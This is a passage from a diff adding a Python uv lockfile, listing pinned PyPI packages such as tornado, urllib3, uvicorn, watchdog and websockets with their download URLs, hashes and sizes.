+    { url = "https://files.pythonhosted.org/packages/0c/1a/d7592328d037d36f2d2462f4bc1fbb383eec9278bc786c1b111cbbd44cfa/tornado-6.5.4-cp39-abi3-win32.whl", hash = "sha256:1768110f2411d5cd281bac0a090f707223ce77fd110424361092859e089b38d1", size = 446481, upload-time = "2025-12-15T19:21:00.008Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/6d/c69be695a0a64fd37a97db12355a035a6d90f79067a3cf936ec2b1dc38cd/tornado-6.5.4-cp39-abi3-win_amd64.whl", hash = "sha256:fa07d31e0cd85c60713f2b995da613588aa03e1303d75705dca6af8babc18ddc", size = 446886, upload-time = "2025-12-15T19:21:01.287Z" },
+    { url = "https://files.pythonhosted.org/packages/50/49/8dc3fd90902f70084bd2cd059d576ddb4f8bb44c2c7c0e33a11422acb17e/tornado-6.5.4-cp39-abi3-win_arm64.whl", hash = "sha256:053e6e16701eb6cbe641f308f4c1a9541f91b6261991160391bfc342e8a551a1", size = 445910, upload-time = "2025-12-15T19:21:02.571Z" },
+]
+
+[[package]]
+name = "typer"
+version = "0.24.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "annotated-doc" },
+    { name = "click" },
+    { name = "rich" },
+    { name = "shellingham" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f5/24/cb09efec5cc954f7f9b930bf8279447d24618bb6758d4f6adf2574c41780/typer-0.24.1.tar.gz", hash = "sha256:e39b4732d65fbdcde189ae76cf7cd48aeae72919dea1fdfc16593be016256b45", size = 118613, upload-time = "2026-02-21T16:54:40.609Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/4a/91/48db081e7a63bb37284f9fbcefda7c44c277b18b0e13fbc36ea2335b71e6/typer-0.24.1-py3-none-any.whl", hash = "sha256:112c1f0ce578bfb4cab9ffdabc68f031416ebcc216536611ba21f04e9aa84c9e", size = 56085, upload-time = "2026-02-21T16:54:41.616Z" },
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.15.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
+]
+
+[[package]]
+name = "typing-inspection"
+version = "0.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" },
+]
+
+[[package]]
+name = "unidecode"
+version = "1.4.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/94/7d/a8a765761bbc0c836e397a2e48d498305a865b70a8600fd7a942e85dcf63/Unidecode-1.4.0.tar.gz", hash = "sha256:ce35985008338b676573023acc382d62c264f307c8f7963733405add37ea2b23", size = 200149, upload-time = "2025-04-24T08:45:03.798Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/8f/b7/559f59d57d18b44c6d1250d2eeaa676e028b9c527431f5d0736478a73ba1/Unidecode-1.4.0-py3-none-any.whl", hash = "sha256:c3c7606c27503ad8d501270406e345ddb480a7b5f38827eafe4fa82a137f0021", size = 235837, upload-time = "2025-04-24T08:45:01.609Z" },
+]
+
+[[package]]
+name = "urllib3"
+version = "2.6.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" },
+]
+
+[[package]]
+name = "uvicorn"
+version = "0.39.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "click" },
+    { name = "h11" },
+    { name = "typing-extensions", marker = "python_full_version < '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ae/4f/f9fdac7cf6dd79790eb165639b5c452ceeabc7bbabbba4569155470a287d/uvicorn-0.39.0.tar.gz", hash = "sha256:610512b19baa93423d2892d7823741f6d27717b642c8964000d7194dded19302", size = 82001, upload-time = "2025-12-21T13:05:17.973Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/6b/25/db2b1c6c35bf22e17fe5412d2ee5d3fd7a20d07ebc9dac8b58f7db2e23a0/uvicorn-0.39.0-py3-none-any.whl", hash = "sha256:7beec21bd2693562b386285b188a7963b06853c0d006302b3e4cfed950c9929a", size = 68491, upload-time = "2025-12-21T13:05:16.291Z" },
+]
+
+[[package]]
+name = "verspec"
+version = "0.1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e7/44/8126f9f0c44319b2efc65feaad589cadef4d77ece200ae3c9133d58464d0/verspec-0.1.0.tar.gz", hash = "sha256:c4504ca697b2056cdb4bfa7121461f5a0e81809255b41c03dda4ba823637c01e", size = 27123, upload-time = "2020-11-30T02:24:09.646Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a4/ce/3b6fee91c85626eaf769d617f1be9d2e15c1cca027bbdeb2e0d751469355/verspec-0.1.0-py3-none-any.whl", hash = "sha256:741877d5633cc9464c45a469ae2a31e801e6dbbaa85b9675d481cda100f11c31", size = 19640, upload-time = "2020-11-30T02:24:08.387Z" },
+]
+
+[[package]]
+name = "virtualenv"
+version = "20.36.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "distlib" },
+    { name = "filelock" },
+    { name = "platformdirs" },
+    { name = "typing-extensions", marker = "python_full_version < '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/aa/a3/4d310fa5f00863544e1d0f4de93bddec248499ccf97d4791bc3122c9d4f3/virtualenv-20.36.1.tar.gz", hash = "sha256:8befb5c81842c641f8ee658481e42641c68b5eab3521d8e092d18320902466ba", size = 6032239, upload-time = "2026-01-09T18:21:01.296Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/6a/2a/dc2228b2888f51192c7dc766106cd475f1b768c10caaf9727659726f7391/virtualenv-20.36.1-py3-none-any.whl", hash = "sha256:575a8d6b124ef88f6f51d56d656132389f961062a9177016a50e4f507bbcc19f", size = 6008258, upload-time = "2026-01-09T18:20:59.425Z" },
+]
+
+[[package]]
+name = "watchdog"
+version = "6.0.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" },
+    { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" },
+    { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" },
+    { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" },
+    { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" },
+    { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" },
+    { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" },
+    { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" },
+    { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" },
+    { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" },
+    { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" },
+    { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" },
+    { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" },
+    { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" },
+    { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" },
+]
+
+[[package]]
+name = "websockets"
+version = "15.0.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/21/e6/26d09fab466b7ca9c7737474c52be4f76a40301b08362eb2dbc19dcc16c1/websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee", size = 177016, upload-time = "2025-03-05T20:03:41.606Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1e/da/6462a9f510c0c49837bbc9345aca92d767a56c1fb2939e1579df1e1cdcf7/websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b", size = 175423, upload-time = "2025-03-05T20:01:35.363Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/9f/9d11c1a4eb046a9e106483b9ff69bce7ac880443f00e5ce64261b47b07e7/websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205", size = 173080, upload-time = "2025-03-05T20:01:37.304Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/4f/b462242432d93ea45f297b6179c7333dd0402b855a912a04e7fc61c0d71f/websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a", size = 173329, upload-time = "2025-03-05T20:01:39.668Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/0c/6afa1f4644d7ed50284ac59cc70ef8abd44ccf7d45850d989ea7310538d0/websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e", size = 182312, upload-time = "2025-03-05T20:01:41.815Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/d4/ffc8bd1350b229ca7a4db2a3e1c482cf87cea1baccd0ef3e72bc720caeec/websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf", size = 181319, upload-time = "2025-03-05T20:01:43.967Z" },
+    { url = "https://files.pythonhosted.org/packages/97/3a/5323a6bb94917af13bbb34009fac01e55c51dfde354f63692bf2533ffbc2/websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb", size = 181631, upload-time = "2025-03-05T20:01:46.104Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/cc/1aeb0f7cee59ef065724041bb7ed667b6ab1eeffe5141696cccec2687b66/websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d", size = 182016, upload-time = "2025-03-05T20:01:47.603Z" },
+    { url = "https://files.pythonhosted.org/packages/79/f9/c86f8f7af208e4161a7f7e02774e9d0a81c632ae76db2ff22549e1718a51/websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9", size = 181426, upload-time = "2025-03-05T20:01:48.949Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/b9/828b0bc6753db905b91df6ae477c0b14a141090df64fb17f8a9d7e3516cf/websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c", size = 181360, upload-time = "2025-03-05T20:01:50.938Z" },
+    { url = "https://files.pythonhosted.org/packages/89/fb/250f5533ec468ba6327055b7d98b9df056fb1ce623b8b6aaafb30b55d02e/websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256", size = 176388, upload-time = "2025-03-05T20:01:52.213Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/46/aca7082012768bb98e5608f01658ff3ac8437e563eca41cf068bd5849a5e/websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41", size = 176830, upload-time = "2025-03-05T20:01:53.922Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/32/18fcd5919c293a398db67443acd33fde142f283853076049824fc58e6f75/websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431", size = 175423, upload-time = "2025-03-05T20:01:56.276Z" },
+    { url = "https://files.pythonhosted.org/packages/76/70/ba1ad96b07869275ef42e2ce21f07a5b0148936688c2baf7e4a1f60d5058/websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57", size = 173082, upload-time = "2025-03-05T20:01:57.563Z" },
+    { url = "https://files.pythonhosted.org/packages/86/f2/10b55821dd40eb696ce4704a87d57774696f9451108cff0d2824c97e0f97/websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905", size = 173330, upload-time = "2025-03-05T20:01:59.063Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/90/1c37ae8b8a113d3daf1065222b6af61cc44102da95388ac0018fcb7d93d9/websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562", size = 182878, upload-time = "2025-03-05T20:02:00.305Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/8d/96e8e288b2a41dffafb78e8904ea7367ee4f891dafc2ab8d87e2124cb3d3/websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792", size = 181883, upload-time = "2025-03-05T20:02:03.148Z" },
+    { url = "https://files.pythonhosted.org/packages/93/1f/5d6dbf551766308f6f50f8baf8e9860be6182911e8106da7a7f73785f4c4/websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413", size = 182252, upload-time = "2025-03-05T20:02:05.29Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/78/2d4fed9123e6620cbf1706c0de8a1632e1a28e7774d94346d7de1bba2ca3/websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8", size = 182521, upload-time = "2025-03-05T20:02:07.458Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/3b/66d4c1b444dd1a9823c4a81f50231b921bab54eee2f69e70319b4e21f1ca/websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3", size = 181958, upload-time = "2025-03-05T20:02:09.842Z" },
+    { url = "https://files.pythonhosted.org/packages/08/ff/e9eed2ee5fed6f76fdd6032ca5cd38c57ca9661430bb3d5fb2872dc8703c/websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf", size = 181918, upload-time = "2025-03-05T20:02:11.968Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/75/994634a49b7e12532be6a42103597b71098fd25900f7437d6055ed39930a/websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85", size = 176388, upload-time = "2025-03-05T20:02:13.32Z" },
+    { url = "https://files.pythonhosted.org/packages/98/93/e36c73f78400a65f5e236cd376713c34182e6663f6889cd45a4a04d8f203/websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065", size = 176828, upload-time = "2025-03-05T20:02:14.585Z" },
+    { url = "https://files.pythonhosted.org/packages/51/6b/4545a0d843594f5d0771e86463606a3988b5a09ca5123136f8a76580dd63/websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3", size = 175437, upload-time = "2025-03-05T20:02:16.706Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/71/809a0f5f6a06522af902e0f2ea2757f71ead94610010cf570ab5c98e99ed/websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665", size = 173096, upload-time = "2025-03-05T20:02:18.832Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/69/1a681dd6f02180916f116894181eab8b2e25b31e484c5d0eae637ec01f7c/websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2", size = 173332, upload-time = "2025-03-05T20:02:20.187Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/02/0073b3952f5bce97eafbb35757f8d0d54812b6174ed8dd952aa08429bcc3/websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215", size = 183152, upload-time = "2025-03-05T20:02:22.286Z" },
+    { url = "https://files.pythonhosted.org/packages/74/45/c205c8480eafd114b428284840da0b1be9ffd0e4f87338dc95dc6ff961a1/websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5", size = 182096, upload-time = "2025-03-05T20:02:24.368Z" },
+    { url = "https://files.pythonhosted.org/packages/14/8f/aa61f528fba38578ec553c145857a181384c72b98156f858ca5c8e82d9d3/websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65", size = 182523, upload-time = "2025-03-05T20:02:25.669Z" },
+    { url = "https://files.pythonhosted.org/packages/ec/6d/0267396610add5bc0d0d3e77f546d4cd287200804fe02323797de77dbce9/websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe", size = 182790, upload-time = "2025-03-05T20:02:26.99Z" },
+    { url = "https://files.pythonhosted.org/packages/02/05/c68c5adbf679cf610ae2f74a9b871ae84564462955d991178f95a1ddb7dd/websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4", size = 182165, upload-time = "2025-03-05T20:02:30.291Z" },
+    { url = "https://files.pythonhosted.org/packages/29/93/bb672df7b2f5faac89761cb5fa34f5cec45a4026c383a4b5761c6cea5c16/websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597", size = 182160, upload-time = "2025-03-05T20:02:31.634Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/83/de1f7709376dc3ca9b7eeb4b9a07b4526b14876b6d372a4dc62312bebee0/websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9", size = 176395, upload-time = "2025-03-05T20:02:33.017Z" },
